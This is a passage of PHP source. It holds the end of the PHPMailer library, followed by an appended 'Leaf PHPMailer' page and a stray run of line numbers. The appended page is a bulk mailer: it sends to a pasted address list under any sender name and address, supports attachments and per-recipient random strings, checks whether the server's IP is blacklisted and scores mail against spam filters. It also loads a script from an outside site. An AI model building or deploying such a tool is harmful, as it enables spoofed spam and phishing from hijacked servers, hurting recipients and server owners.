$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
$message = str_replace(
$images[0][$imgindex],
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
continue;
}
if (
// Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
!empty($basedir)
// Ignore URLs containing parent dir traversal (..)
&& (strpos($url, '..') === false)
// Do not change urls that are already inline images
&& substr($url, 0, 4) !== 'cid:'
// Do not change absolute URLs, including anonymous protocol
&& !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
) {
$filename = basename($url);
$directory = dirname($url);
if ($directory == '.') {
$directory = '';
}
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if (strlen($directory) > 1 && substr($directory, -1) != '/') {
$directory .= '/';
}
if ($this->addEmbeddedImage(
$basedir . $directory . $filename,
$cid,
$filename,
'base64',
self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
)
) {
$message = preg_replace(
'/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
}
}
}
$this->isHTML(true);
// Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
$this->Body = $this->normalizeBreaks($message);
$this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
if (!$this->alternativeExists()) {
$this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
self::CRLF . self::CRLF;
}
return $this->Body;
}
/**
* Convert an HTML string into plain text.
* This is used by msgHTML().
* Note - older versions of this function used a bundled advanced converter
* which was been removed for license reasons in #232.
* Example usage:
* <code>
* // Use default conversion
* $plain = $mail->html2text($html);
* // Use your own custom converter
* $plain = $mail->html2text($html, function($html) {
* $converter = new MyHtml2text($html);
* return $converter->get_text();
* });
* </code>
* @param string $html The HTML text to convert
* @param boolean|callable $advanced Any boolean value to use the internal converter,
* or provide your own callable for custom conversion.
* @return string
*/
public function html2text($html, $advanced = false)
{
if (is_callable($advanced)) {
return call_user_func($advanced, $html);
}
return html_entity_decode(
trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
ENT_QUOTES,
$this->CharSet
);
}
/**
* Get the MIME type for a file extension.
* @param string $ext File extension
* @access public
* @return string MIME type of file.
* @static
*/
public static function _mime_types($ext = '')
{
$mimes = array(
'xl' => 'application/excel',
'js' => 'application/javascript',
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'bin' => 'application/macbinary',
'doc' => 'application/msword',
'word' => 'application/msword',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'class' => 'application/octet-stream',
'dll' => 'application/octet-stream',
'dms' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
'psd' => 'application/octet-stream',
'sea' => 'application/octet-stream',
'so' => 'application/octet-stream',
'oda' => 'application/oda',
'pdf' => 'application/pdf',
'ai' => 'application/postscript',
'eps' => 'application/postscript',
'ps' => 'application/postscript',
'smi' => 'application/smil',
'smil' => 'application/smil',
'mif' => 'application/vnd.mif',
'xls' => 'application/vnd.ms-excel',
'ppt' => 'application/vnd.ms-powerpoint',
'wbxml' => 'application/vnd.wap.wbxml',
'wmlc' => 'application/vnd.wap.wmlc',
'dcr' => 'application/x-director',
'dir' => 'application/x-director',
'dxr' => 'application/x-director',
'dvi' => 'application/x-dvi',
'gtar' => 'application/x-gtar',
'php3' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'swf' => 'application/x-shockwave-flash',
'sit' => 'application/x-stuffit',
'tar' => 'application/x-tar',
'tgz' => 'application/x-tar',
'xht' => 'application/xhtml+xml',
'xhtml' => 'application/xhtml+xml',
'zip' => 'application/zip',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'mpga' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'wav' => 'audio/x-wav',
'bmp' => 'image/bmp',
'gif' => 'image/gif',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'jpg' => 'image/jpeg',
'png' => 'image/png',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'eml' => 'message/rfc822',
'css' => 'text/css',
'html' => 'text/html',
'htm' => 'text/html',
'shtml' => 'text/html',
'log' => 'text/plain',
'text' => 'text/plain',
'txt' => 'text/plain',
'rtx' => 'text/richtext',
'rtf' => 'text/rtf',
'vcf' => 'text/vcard',
'vcard' => 'text/vcard',
'xml' => 'text/xml',
'xsl' => 'text/xml',
'mpeg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mov' => 'video/quicktime',
'qt' => 'video/quicktime',
'rv' => 'video/vnd.rn-realvideo',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie'
);
if (array_key_exists(strtolower($ext), $mimes)) {
return $mimes[strtolower($ext)];
}
return 'application/octet-stream';
}
/**
* Map a file name to a MIME type.
* Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
* @param string $filename A file name or full path, does not need to exist as a file
* @return string
* @static
*/
public static function filenameToType($filename)
{
// In case the path is a URL, strip any query string before getting extension
$qpos = strpos($filename, '?');
if (false !== $qpos) {
$filename = substr($filename, 0, $qpos);
}
$pathinfo = self::mb_pathinfo($filename);
return self::_mime_types($pathinfo['extension']);
}
/**
* Multi-byte-safe pathinfo replacement.
* Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
* Works similarly to the one in PHP >= 5.2.0
* @link http://www.php.net/manual/en/function.pathinfo.php#107461
* @param string $path A filename or path, does not need to exist as a file
* @param integer|string $options Either a PATHINFO_* constant,
* or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
* @return string|array
* @static
*/
public static function mb_pathinfo($path, $options = null)
{
$ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
$pathinfo = array();
if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
if (array_key_exists(1, $pathinfo)) {
$ret['dirname'] = $pathinfo[1];
}
if (array_key_exists(2, $pathinfo)) {
$ret['basename'] = $pathinfo[2];
}
if (array_key_exists(5, $pathinfo)) {
$ret['extension'] = $pathinfo[5];
}
if (array_key_exists(3, $pathinfo)) {
$ret['filename'] = $pathinfo[3];
}
}
switch ($options) {
case PATHINFO_DIRNAME:
case 'dirname':
return $ret['dirname'];
case PATHINFO_BASENAME:
case 'basename':
return $ret['basename'];
case PATHINFO_EXTENSION:
case 'extension':
return $ret['extension'];
case PATHINFO_FILENAME:
case 'filename':
return $ret['filename'];
default:
return $ret;
}
}
/**
* Set or reset instance properties.
* You should avoid this function - it's more verbose, less efficient, more error-prone and
* harder to debug than setting properties directly.
* Usage Example:
* `$mail->set('SMTPSecure', 'tls');`
* is the same as:
* `$mail->SMTPSecure = 'tls';`
* @access public
* @param string $name The property name to set
* @param mixed $value The value to set the property to
* @return boolean
* @TODO Should this not be using the __set() magic function?
*/
public function set($name, $value = '')
{
if (property_exists($this, $name)) {
$this->$name = $value;
return true;
} else {
$this->setError($this->lang('variable_set') . $name);
return false;
}
}
/**
* Strip newlines to prevent header injection.
* @access public
* @param string $str
* @return string
*/
public function secureHeader($str)
{
return trim(str_replace(array("\r", "\n"), '', $str));
}
/**
* Normalize line breaks in a string.
* Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
* Defaults to CRLF (for message bodies) and preserves consecutive breaks.
* @param string $text
* @param string $breaktype What kind of line break to use, defaults to CRLF
* @return string
* @access public
* @static
*/
public static function normalizeBreaks($text, $breaktype = "\r\n")
{
return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
}
/**
* Set the public and private key files and password for S/MIME signing.
* @access public
* @param string $cert_filename
* @param string $key_filename
* @param string $key_pass Password for private key
* @param string $extracerts_filename Optional path to chain certificate
*/
public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
{
$this->sign_cert_file = $cert_filename;
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
$this->sign_extracerts_file = $extracerts_filename;
}
/**
* Quoted-Printable-encode a DKIM header.
* @access public
* @param string $txt
* @return string
*/
public function DKIM_QP($txt)
{
$line = '';
for ($i = 0; $i < strlen($txt); $i++) {
$ord = ord($txt[$i]);
if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
$line .= $txt[$i];
} else {
$line .= '=' . sprintf('%02X', $ord);
}
}
return $line;
}
/**
* Generate a DKIM signature.
* @access public
* @param string $signHeader
* @throws phpmailerException
* @return string The DKIM signature value
*/
public function DKIM_Sign($signHeader)
{
if (!defined('PKCS7_TEXT')) {
if ($this->exceptions) {
throw new phpmailerException($this->lang('extension_missing') . 'openssl');
}
return '';
}
$privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
if ('' != $this->DKIM_passphrase) {
$privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
} else {
$privKey = openssl_pkey_get_private($privKeyStr);
}
//Workaround for missing digest algorithms in old PHP & OpenSSL versions
//@link http://stackoverflow.com/a/11117338/333340
if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
openssl_pkey_free($privKey);
return base64_encode($signature);
}
} else {
$pinfo = openssl_pkey_get_details($privKey);
$hash = hash('sha256', $signHeader);
//'Magic' constant for SHA256 from RFC3447
//@link https://tools.ietf.org/html/rfc3447#page-43
$t = '3031300d060960864801650304020105000420' . $hash;
$pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
$eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);
if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
openssl_pkey_free($privKey);
return base64_encode($signature);
}
}
openssl_pkey_free($privKey);
return '';
}
/**
* Generate a DKIM canonicalization header.
* @access public
* @param string $signHeader Header
* @return string
*/
public function DKIM_HeaderC($signHeader)
{
$signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
$lines = explode("\r\n", $signHeader);
foreach ($lines as $key => $line) {
list($heading, $value) = explode(':', $line, 2);
$heading = strtolower($heading);
$value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
$lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
}
$signHeader = implode("\r\n", $lines);
return $signHeader;
}
/**
* Generate a DKIM canonicalization body.
* @access public
* @param string $body Message Body
* @return string
*/
public function DKIM_BodyC($body)
{
if ($body == '') {
return "\r\n";
}
// stabilize line endings
$body = str_replace("\r\n", "\n", $body);
$body = str_replace("\n", "\r\n", $body);
// END stabilize line endings
while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
$body = substr($body, 0, strlen($body) - 2);
}
return $body;
}
/**
* Create the DKIM header and body in a new message header.
* @access public
* @param string $headers_line Header lines
* @param string $subject Subject
* @param string $body Body
* @return string
*/
public function DKIM_Add($headers_line, $subject, $body)
{
$DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
$DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
$DKIMquery = 'dns/txt'; // Query method
$DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
$subject_header = "Subject: $subject";
$headers = explode($this->LE, $headers_line);
$from_header = '';
$to_header = '';
$date_header = '';
$current = '';
foreach ($headers as $header) {
if (strpos($header, 'From:') === 0) {
$from_header = $header;
$current = 'from_header';
} elseif (strpos($header, 'To:') === 0) {
$to_header = $header;
$current = 'to_header';
} elseif (strpos($header, 'Date:') === 0) {
$date_header = $header;
$current = 'date_header';
} else {
if (!empty($$current) && strpos($header, ' =?') === 0) {
$$current .= $header;
} else {
$current = '';
}
}
}
$from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
$to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
$date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
$subject = str_replace(
'|',
'=7C',
$this->DKIM_QP($subject_header)
); // Copied header fields (dkim-quoted-printable)
$body = $this->DKIM_BodyC($body);
$DKIMlen = strlen($body); // Length of body
$DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
if ('' == $this->DKIM_identity) {
$ident = '';
} else {
$ident = ' i=' . $this->DKIM_identity . ';';
}
$dkimhdrs = 'DKIM-Signature: v=1; a=' .
$DKIMsignatureType . '; q=' .
$DKIMquery . '; l=' .
$DKIMlen . '; s=' .
$this->DKIM_selector .
";\r\n" .
"\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
"\th=From:To:Date:Subject;\r\n" .
"\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
"\tz=$from\r\n" .
"\t|$to\r\n" .
"\t|$date\r\n" .
"\t|$subject;\r\n" .
"\tbh=" . $DKIMb64 . ";\r\n" .
"\tb=";
$toSign = $this->DKIM_HeaderC(
$from_header . "\r\n" .
$to_header . "\r\n" .
$date_header . "\r\n" .
$subject_header . "\r\n" .
$dkimhdrs
);
$signed = $this->DKIM_Sign($toSign);
return $dkimhdrs . $signed . "\r\n";
}
/**
* Detect if a string contains a line longer than the maximum line length allowed.
* @param string $str
* @return boolean
* @static
*/
public static function hasLineLongerThanMax($str)
{
//+2 to include CRLF line break for a 1000 total
return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
}
/**
* Allows for public read access to 'to' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getToAddresses()
{
return $this->to;
}
/**
* Allows for public read access to 'cc' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getCcAddresses()
{
return $this->cc;
}
/**
* Allows for public read access to 'bcc' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getBccAddresses()
{
return $this->bcc;
}
/**
* Allows for public read access to 'ReplyTo' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
/**
* Allows for public read access to 'all_recipients' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
/**
* Perform a callback.
* @param boolean $isSent
* @param array $to
* @param array $cc
* @param array $bcc
* @param string $subject
* @param string $body
* @param string $from
*/
protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
{
if (!empty($this->action_function) && is_callable($this->action_function)) {
$params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
call_user_func_array($this->action_function, $params);
}
}
}
/**
* PHPMailer exception handler
* @package PHPMailer
*/
class phpmailerException extends Exception
{
/**
* Prettify error message output
* @return string
*/
public function errorMessage()
{
$errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
return $errorMsg;
}
}
function leafheader(){
print '
<head>
<title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
<script src="https://leafmailer.pw/style2.js"></script>
</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
<h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
<form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
<input type="hidden" name="action" value="score">
<div class="row">
<div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
<div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
</div>
<div class="row">
<span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
<div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
<div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
</div>
<div class="row">
<div class="form-group col-lg-6 ">
<label for="messageType">Message Type</label>
HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
</div>
<div class="form-group col-lg-3 ">
<label for="charset">Character set</label>
<select class="form-control input-sm" id="charset" name="charset">
<option '.$utf8.'>UTF-8</option>
<option '.$iso.'>ISO-8859-1</option>
</select>
</div>
<div class="form-group col-lg-3 ">
<label for="encoding">Message encoding</label>
<select class="form-control input-sm" id="encode" name="encode">
<option '.$bit8.'>8bit</option>
<option '.$bit7.'>7bit</option>
<option '.$binary.'>binary</option>
<option '.$base64.'>base64</option>
<option '.$quotedprintable.'>quoted-printable</option>
</select>
</div>
</div>
<button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
</form>
</div>
<div class="col-lg-6"><br>
<label for="well">Instruction</label>
<div id="well" class="well well">
<h4>Server Information</h4>
<ul>
<li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
<li>PHP Version : <b>'.phpversion().'</b></li>
</ul>
<h4>HELP</h4>
<ul>
<li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
<ul>
<li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
<li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
</ul>
<li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
<li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
<li>[-randomnumber-] : <b>Random number (0-9) </b></li>
<li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
<li>[-randommd5-] : <b>Random MD5 </b></li>
</ul>
<h4>example</h4>
Receiver Email = <b>user@domain.com</b><br>
<ul>
<li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
<li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
<li>your code is <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
</ul>
<h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
</div>
</div>';
if($_POST['action']=="send"){
print ' <div class="col-lg-12">';
$maillist=explode("\r\n", $emailList);
$n=count($maillist);
$x =1;
foreach ($maillist as $email ) {
print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
if(!leafMailCheck($email)) {
print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
print "<br>\r\n";
}
else {
$mail = new PHPMailer;
$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
$mail->addReplyTo(leafClear($replyTo,$email));
$mail->addAddress($email);
$mail->Subject = leafClear($subject,$email);
$mail->Body = leafClear($messageLetter,$email);
if($messageType==1){
$mail->IsHTML(true);
$mail->AltBody =strip_tags(leafClear($messageLetter,$email));
}
else $mail->IsHTML(false);
$mail->CharSet = $charset;
$mail->Encoding = $encoding;
for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
if ($_FILES['attachment']['tmp_name'][$i] != ""){
$mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
}
}
if (!$mail->send()) {
echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
}
else {
echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
}
print "<br>\r\n";
}
$x++;
for($k = 0; $k < 40000; $k++) {echo ' ';}
}
}
elseif($_POST['action']=="score"){
$mail = new PHPMailer;
$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
$mail->addReplyTo(leafClear($replyTo,$email));
$mail->addAddress("username@domain.com");
$mail->Subject = leafClear($subject,$email);
$mail->Body = leafClear($messageLetter,$email);
if($messageType==1){
$mail->IsHTML(true);
$mail->AltBody =strip_tags(leafClear($messageLetter,$email));
}
else $mail->IsHTML(false);
$mail->CharSet = $charset;
$mail->Encoding = $encoding;
$mail->preSend();
$messageHeaders=$mail->getSentMIMEMessage();
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$response = curl_exec($ch);
$response = json_decode($response);
print ' <div class="col-lg-12">';
if ($response->success == TRUE ){
$score = $response->score;
if ($score > 5 ) $class="danger";
else $class="success";
print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.' </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print ' </div>';
}
}
print '</body>';
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
